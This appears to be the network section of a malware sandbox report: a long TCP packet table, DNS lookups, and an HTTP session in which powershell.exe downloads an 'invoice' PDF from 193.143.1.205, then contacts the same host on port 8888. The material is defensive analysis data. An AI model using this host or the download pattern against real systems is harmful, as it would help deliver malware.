Jan 11, 2025 05:38:31.650579929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650624990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650665998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650691032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650737047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650779009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650804043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650850058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650890112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.650914907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.650960922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651000977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.651025057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651071072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651108980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.651135921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651182890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651221037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.651246071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651293993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.651343107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.653075933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.680795908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.680865049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.680885077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.680902004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.680975914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681001902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681032896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681085110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681129932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681153059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681215048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681257963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681279898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681325912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681370020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681390047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681436062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681478024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681499958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681540966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681581020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681602955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681647062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681687117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681715012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681761026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681802988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681823969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681868076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.681910038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.681932926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701212883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701240063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701275110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701287985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.701316118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701325893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.701345921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701366901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701381922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.701395988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701417923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.701435089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.734749079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.734787941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.734807014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.734822989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.734877110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.734908104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.734961987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.734991074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735039949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735094070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735121965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735167980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735213995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735234022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735296965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735341072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735378027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735424995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735466957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735490084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735534906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735578060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735594988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735658884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735703945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735727072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735773087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735816002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.735836983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735898018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735944033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.735961914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736006021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736046076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736069918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736114979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736171961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736201048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736248970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736290932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736314058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736358881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736399889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736422062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736466885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736509085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736536026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736579895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736619949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736664057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736711025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736754894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736776114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736820936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736864090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.736886978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736932039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736984968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.736998081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737060070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737102032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737124920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737171888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737212896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737236023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737281084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737322092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737345934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737391949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737432957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737456083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737504005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737562895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737586975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737649918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737695932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737716913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737763882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737803936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737828016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737874985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737915039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.737940073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.737984896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738029957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738049984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738092899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738133907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738157034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738203049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738243103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738266945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738312960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738356113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738379002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738425970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738476038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738504887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738550901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738605976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738620043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738660097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738703012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738724947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738770962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738811970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738835096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738879919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738924026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.738944054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.738989115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739029884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739053011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739098072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739140034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739161015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739207029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739248037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739270926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739334106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739377975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739398956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739445925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739486933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739511013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739561081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739603043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739628077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739675045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739712954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739738941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739784002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739825964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739842892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739886999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.739928007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.739952087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.740339041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.768362999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768456936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768507004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.768546104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768609047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768673897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768719912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768765926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768810987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768848896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.768878937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768928051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.768942118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.768986940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769027948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.769056082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769099951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769144058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.769165039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769211054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769258976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.769279957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769320965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.769368887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822402000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822428942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822465897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822484016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822505951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822520971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822542906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822561979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822586060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822597980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822617054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822638988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822648048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822690964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822732925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822757959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822803974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822843075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.822896957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822962046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.822999954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823026896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823072910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823111057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823137045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823199987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823239088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823265076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823338032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823379040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823405027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823451042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823489904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823515892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823561907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823601007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:31.823626995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823678017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:31.823719025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:32.094377041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:32.645513058 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:32.650680065 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:32.650775909 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:32.650991917 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:32.656172991 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:33.483093023 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 05:38:33.524399996 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 05:38:34.030704021 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:38:45.540987015 CET	52224	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:38:45.540987015 CET	192.168.2.5	1.1.1.1	0x29e6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:38:45.548408031 CET	1.1.1.1	192.168.2.5	0x29e6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:38:59.276038885 CET	1.1.1.1	192.168.2.5	0x2ae0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:38:59.276038885 CET	1.1.1.1	192.168.2.5	0x2ae0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:39:11.635587931 CET	1.1.1.1	192.168.2.5	0x7428	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:39:11.635587931 CET	1.1.1.1	192.168.2.5	0x7428	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5536	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:38:30.297102928 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:38:31.075146914 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:38:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:38:31.075196028 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
